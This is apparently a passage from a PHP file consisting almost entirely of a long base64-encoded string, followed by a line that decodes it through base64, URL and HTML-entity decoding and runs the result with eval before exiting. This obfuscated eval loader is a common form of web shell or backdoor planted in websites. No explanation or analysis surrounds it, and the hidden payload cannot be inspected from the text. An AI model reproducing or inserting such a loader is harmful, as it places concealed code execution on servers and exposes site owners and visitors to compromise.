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"; eval(htmlspecialchars_decode(urldecode(base64_decode($xD)))); exit; ?>